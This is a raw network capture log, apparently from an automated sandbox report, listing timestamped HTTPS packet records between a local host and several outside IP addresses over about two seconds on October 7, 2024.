Oct 7, 2024 21:53:11.201673985 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.201690912 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.201740980 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.202244997 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.202291965 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.202892065 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.202941895 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.203078985 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.203130960 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.203353882 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.203401089 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.203406096 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.203419924 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.203453064 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.203463078 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.204045057 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.204102039 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.204513073 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.204576969 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.220123053 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.231488943 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.231514931 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.231529951 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.231539011 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.259692907 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.259771109 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.288724899 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.288809061 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.289108992 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.289156914 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.289277077 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.289458990 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.289768934 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.289798021 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.289819002 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.289827108 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.289839983 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.289854050 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.290126085 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.290159941 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.290173054 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.290178061 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.290201902 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.290229082 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291032076 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291058064 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291084051 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291090012 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291105986 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291126966 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291239977 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291290998 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291296959 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291318893 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.291330099 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.291361094 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.349427938 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.350224018 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.350246906 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.351097107 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.351109028 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.351949930 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.354238033 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.354249001 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.354923010 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.355042934 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.355951071 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.385199070 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.385199070 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.385215998 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.385226965 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.390480042 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.390499115 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.403398037 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.463455915 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.463548899 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.463692904 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.540683031 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.540715933 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.540827036 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.551871061 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:11.551904917 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:11.551964998 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:11.552210093 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:11.552232027 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:11.553441048 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.553464890 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.554483891 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:11.554507971 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.641007900 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.641043901 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.641280890 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.644244909 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.644264936 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.644671917 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.726825953 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.731622934 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.731647015 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.731882095 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.731909037 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.774146080 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.795797110 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.795808077 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.796314001 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.796319008 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.809377909 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.809792995 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.809811115 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.810516119 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.810522079 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.888518095 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.888564110 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.888622046 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.888993025 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.889008999 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.890424967 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.890507936 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.890558958 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.892538071 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.892554045 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.898870945 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.898910046 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.898963928 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.899256945 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.899266005 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.918207884 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.918258905 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.918586969 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.919215918 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.919228077 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.927440882 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.927488089 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.927571058 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.927855015 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.927872896 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.947742939 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.947782993 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.948057890 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.948307991 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.948324919 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.981009960 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:11.981028080 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:11.981457949 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:11.981513023 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:11.982119083 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:11.982147932 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:11.982439041 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:11.982445002 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:12.004190922 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.004504919 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.004519939 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.005381107 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.005439043 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.006474018 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.006530046 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.006685972 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.006692886 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.048688889 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.130899906 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.131251097 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.131294966 CEST	443	49773	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.131347895 CEST	49773	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.131860018 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.131896019 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.131956100 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.132250071 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.132263899 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.175447941 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.176162958 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.176171064 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.176827908 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.176839113 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.245479107 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:12.245568991 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:12.247320890 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:12.247379065 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:12.247380018 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:12.247435093 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:12.270831108 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.270891905 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.270956993 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.271131039 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.271142006 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.271164894 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.271169901 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.274341106 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.274388075 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.274466038 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.274617910 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.274633884 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.325186014 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.325464964 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.325489998 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.325944901 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.326287985 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.326374054 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.326457977 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.358227968 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.358730078 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.358755112 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.358994961 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.359540939 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.359549046 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.360028028 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.360044956 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.360486984 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.360491991 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.367418051 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.389221907 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.389530897 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.389544010 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.389991045 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.390681028 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.390763044 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.390830994 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.394165039 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.431416988 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.436132908 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.456682920 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.456729889 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.456803083 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.456842899 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.456880093 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.456921101 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.457026005 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.457026005 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.457040071 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.457047939 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.457155943 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.457155943 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.457170963 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.457179070 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.459840059 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.459868908 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.460028887 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.460068941 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.460068941 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.460225105 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.460258961 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.460273027 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.460294008 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.460367918 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.460388899 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.460407019 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.460410118 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.460418940 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.460438013 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.460483074 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.460899115 CEST	49776	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.460905075 CEST	443	49776	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.518722057 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.518834114 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.518949986 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.534013987 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.536604881 CEST	49779	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:12.536643982 CEST	443	49779	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:12.538152933 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.538189888 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.538590908 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.538598061 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.548796892 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.549777985 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.549798965 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.550347090 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.550352097 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.575056076 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.575664997 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.575675011 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.576725006 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.576812983 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.577347994 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.577404976 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.577934027 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.577949047 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.623805046 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.633794069 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.633866072 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.633929014 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.634071112 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.634083033 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.634094954 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.634099960 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.638632059 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.638659954 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.638981104 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.639188051 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.639211893 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.647238016 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.647286892 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.647387981 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.647478104 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.647484064 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.647491932 CEST	49778	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.647496939 CEST	443	49778	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.651153088 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.651181936 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.651319027 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.651576996 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.651590109 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.713825941 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.715783119 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.715816975 CEST	443	49780	35.190.80.1	192.168.2.5
Oct 7, 2024 21:53:12.715931892 CEST	49780	443	192.168.2.5	35.190.80.1
Oct 7, 2024 21:53:12.928282976 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.964709044 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.964741945 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:12.965099096 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:12.965106010 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.065295935 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.065339088 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.065409899 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.065723896 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.065737009 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.097965956 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.102495909 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.112900019 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.112952948 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.113331079 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.113343000 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.119340897 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.119364023 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.119720936 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.119725943 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.127578020 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.127639055 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.127904892 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.128638029 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.128649950 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.128660917 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.128665924 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.133019924 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.133033037 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.133152008 CEST	49787	443	192.168.2.5	13.107.246.64
